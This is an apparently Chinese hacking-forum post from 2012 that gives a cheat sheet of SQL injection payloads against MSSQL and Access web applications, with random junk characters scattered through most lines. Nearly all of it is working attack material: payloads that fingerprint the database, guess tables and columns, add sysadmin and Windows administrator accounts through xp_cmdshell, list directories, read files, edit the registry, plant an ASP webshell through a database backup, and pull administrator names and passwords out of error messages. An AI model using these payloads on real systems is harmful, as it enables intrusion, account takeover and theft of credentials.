找回密码
 立即注册
查看: 2672|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入 - s# q3 s7 R- [5 ?; o  a
;and 1=1
8 S5 ~1 X7 t1 J1 g+ \+ X;and 1=2 " {/ J! d5 U8 x! Q9 D  I
( E- @3 r1 D* N: B; V" w; ~
2.初步判断是否是mssql
* Z5 @0 u, J( [; E7 x' k% B;and user>0 1 `& O& E7 R; x/ h6 W' _* q0 o& d
" Y( l. `& Y& C5 n1 v5 v( z/ T
3.判断数据库系统   C2 G: w0 }) t  x4 M+ j/ H
;and (select count(*) from sysobjects)>0 mssql
0 O6 D+ ?, I' A4 d/ X( D4 V;and (select count(*) from msysobjects)>0 access
& K/ ^* Q1 j2 K) ]$ S$ i  H+ w0 B8 p  S7 B# c" N; x
4.注入参数是字符 1 X) ~  R: t5 S
'and [查询条件] and ''='
% f( O: f' t1 m0 z8 y# l4 l3 h0 i3 I, V$ M5 G& z# I" w; E
5.搜索时没过滤参数的
+ V, q9 Y& V, I% Q: _4 h'and [查询条件] and '%25'=' ! N3 t# \3 P* b, Y- j8 K! \
/ t% U' m+ j; J1 _
6.猜数表名
  y7 z- o/ R: w0 X% i/ ^2 ]4 w" b;and (select Count(*) from [表名])>0 * V' I5 v3 p# K' k  b( o! x

+ [& V$ E% h" C; L7.猜字段 2 l8 H  U) u0 [* c9 _# y' W
;and (select Count(字段名) from 表名)>0 / a% a( A- y. r5 V# Y( Y; }' T
" [# o- G& C" n5 s  {1 K
8.猜字段中记录长度
/ O& [( l3 I, I  Q& H, e! V;and (select top 1 len(字段名) from 表名)>0 0 y. b' i' q5 ]& h: E3 e5 h. ~

5 }4 d  ~+ \; ]! O9.(1)猜字段的ascii值(access)
( o* l7 Y) m- Y;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 9 T( X* f; @7 I: s8 \9 [, z: T
- j" W$ S: q8 H; \8 R% N0 B
(2)猜字段的ascii值(mssql) " X" S8 a; x4 O
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 + `6 w6 p- y+ `2 Z- U

  ]# a3 j( c* \+ n5 j10.测试权限结构(mssql) 8 }6 ]' h* F4 z* q- Y; k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- @  @' u4 B6 q: x6 s' r;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& {% @, E  i3 m5 e2 J;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 b  X1 i4 J+ Z% g7 h" r8 S" m
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 Q2 M* z7 r% w) k# i7 e3 O
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: O5 H1 m2 b5 e9 g;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- , Q1 H: _5 T' T
;and 1=(select IS_MEMBER('db_owner'));-- - |* m0 L! ]. e* s2 J

& I8 m: w1 ?7 j. u, _4 D1 ~11.添加mssql和系统的帐户
9 H" l# z7 H5 ^8 ^. j# s0 l# W;exec master.dbo.sp_addlogin username;-- . F& Z' |3 v! k+ t9 x5 u1 G+ U
;exec master.dbo.sp_password null,username,password;-- 9 f7 \4 ]6 l' r: E" ?0 P1 L
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2 i" E$ T! \  U. b& v( B
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 5 |4 G% T* g1 ]- s
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; K! ~  \  r; D  X6 [. w
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
& J! ^& v; o3 ]( N6 S6 k7 l. j9 A
# V7 t) O: [3 W, A) Y; [+ h1 B1 B12.(1)遍历目录
# }* r. }8 I4 U4 A;create table dirs(paths varchar(100), id int) : E8 i7 h. y5 T) D/ M, k: |# c
;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 X; U5 |0 r, }" ?% E;and (select top 1 paths from dirs)>0
; _5 j. O0 w' S;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . k8 C  q4 g7 {% o

4 z5 x5 Q' f: ~! q8 Y$ O# j(2)遍历目录
. j& L! \: r  i4 |0 R# {;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 ?' N2 _' c! k1 [, d8 ~/ u
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
" o  p7 O. K6 I4 h, n+ L) f;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 - K/ _& |/ _7 _# U
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 0 L$ W* ^  M7 b: v$ O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 `& `; C* G( b5 F) o  b6 X

) l+ M; U* C$ |! X9 J6 }7 C6 ~3 J13.mssql中的存储过程 " U7 a9 m: J* k" D( \- b
xp_regenumvalues 注册表根键, 子键 , e1 h* r6 w3 K5 s- t, z# G- \
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % K6 E1 p3 @: t, Y* v
xp_regread 根键,子键,键值名
, h( {) X1 L! m- p; x$ G" Z% b# A;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7 p- M. Y2 X+ d' V, ]/ K
xp_regwrite 根键,子键, 值名, 值类型, 值
$ ^) I2 l. Y/ p$ f  T! _* m值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3 j8 A* @( H& E8 o  P
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
5 M+ x+ ?; c1 c$ P; S$ Y1 yxp_regdeletevalue 根键,子键,值名
6 ?" L* {) p4 Hexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% y  W" e; _- I1 B+ Mxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
9 x) u+ x3 p, V# \. E5 H$ F7 X, F( e
14.mssql的backup创建webshell
$ D: q6 l' Y& K2 x8 Guse model
; \- k/ ]$ q! Fcreate table cmd(str image); 0 D1 E) E$ l2 S
insert into cmd(str) values ('<% Dim oScript %>'); 0 p2 p) U4 s' y; V, Q
backup database model to disk='c:\l.asp'; ' K: |& [5 s' B8 r0 ?( }
& _& t* O- Y: u1 a# r: q
15.mssql内置函数
+ Z( H$ ^; x# X, R& _! ^;and (select @@version)>0 获得Windows的版本号
! @0 B) N) ?! o0 }' D, g;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ t# d/ D2 |& X4 p5 H;and (select user_name())>0 爆当前系统的连接用户
) t/ Q: `! c6 d# M: O: S;and (select db_name())>0 得到当前连接的数据库
' e" f3 }$ Y9 W3 e6 ]5 X- E
# t0 Z: ?5 z9 y5 _( ?* f
+ Y* C  h# o- f' c; ]: n$ f
$ T, l# `( b: v: |- c3 }+ j1 J3 M4 ~MSSQL手注暴库
+ [1 ]: A. E. B$ G5 X( a( O5 J8 v) D. D9 h4 u6 K2 X# {# G
1.暴出当前表名和列名
1 R, q! ]% m+ e在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
3 ^: Y( D& [+ P, U# {' Y$ A; I+ A0 X: e" a+ ?7 m9 W' a
第一.爆出所有数据库名) \) A0 {/ Y% p6 P1 a2 K" @
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
# W1 k2 K7 ^' r" @4 U- e& Y第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
" p) V' a9 L0 R: k
) D! U" r- `2 S. yand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名2 [( {" k9 j6 g  v2 i  D
' f  F- K, m! j
; D" J3 q5 m/ F" n5 {9 r. `
第二.爆出指定库中的所有表名
% l" K7 m7 k+ y. X7 o, ]得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
) ^. y" t9 L: _$ i再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。& e: `. S7 \9 O' w2 w  N" _7 E
2 F4 G  E* X( J6 J9 B, w
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--. }2 s% M; u# H
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--0 Z" v$ _% t, @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
  ]) ?3 t" @7 y& u- ~& D: B' {
* p8 C! v, V4 |4 n: Q9 @5 f4.爆出指定表中的所有列名0 y6 e& G8 c4 e: r0 J
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
6 C+ z0 r6 u; C: m& p//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' i4 [" {+ W. e; V, @

' o* q8 t1 M: w% m. ]9 }and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名) P; v% s* x+ W6 s! ?
0 @( x$ K) b4 n
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
- F" S9 r6 M" ~3 i依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。5 }6 ]5 e3 ]% t& F

6 ]/ \3 r; ~4 s
/ Z% T, u6 z1 sand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
; U1 u7 W5 L  t( j% ~2 g$ n1 @: a; |- J
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
. r8 S( P9 U) h- U
' V( C7 D$ q% M2 [, K4 n5 u0 g, hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 3 R, k8 s& z% \* P1 A% A
4 n  ?& @9 `$ _

3 K# c% E- l( |( I5 l, O
& G  V+ {/ N, X4 k7 k5.读取指定表中的数据
/ ?: h3 X/ E: T  W
* Z( E0 Y6 W1 Band 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 * Z) s: c. O4 h- G" b- {

- v" n9 L' }' `% Nand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
; ]" {0 x  V/ R5 d" o
" J7 l* ~% a6 o" Y: q5 ]& o# u* nand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码. ]3 G" ^% ^; U# L7 P1 H' l
' l! I. F0 l7 S$ `+ I- b6 @, P. |
3 M3 M+ M* u9 W7 y* q
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
5 F3 I% N$ |1 ?
1 m2 Z6 ?0 M: c5 g. |  j4 B; aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
$ n- K9 i+ h  o" T3 }* O  i
4 O7 ~# P0 X3 M3 {and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--. g  ]# X7 S& t! z% `* ^
( {, C4 m0 ]' m, z0 l! H
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。1 ]0 h) i  R& j. L5 t/ G; e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表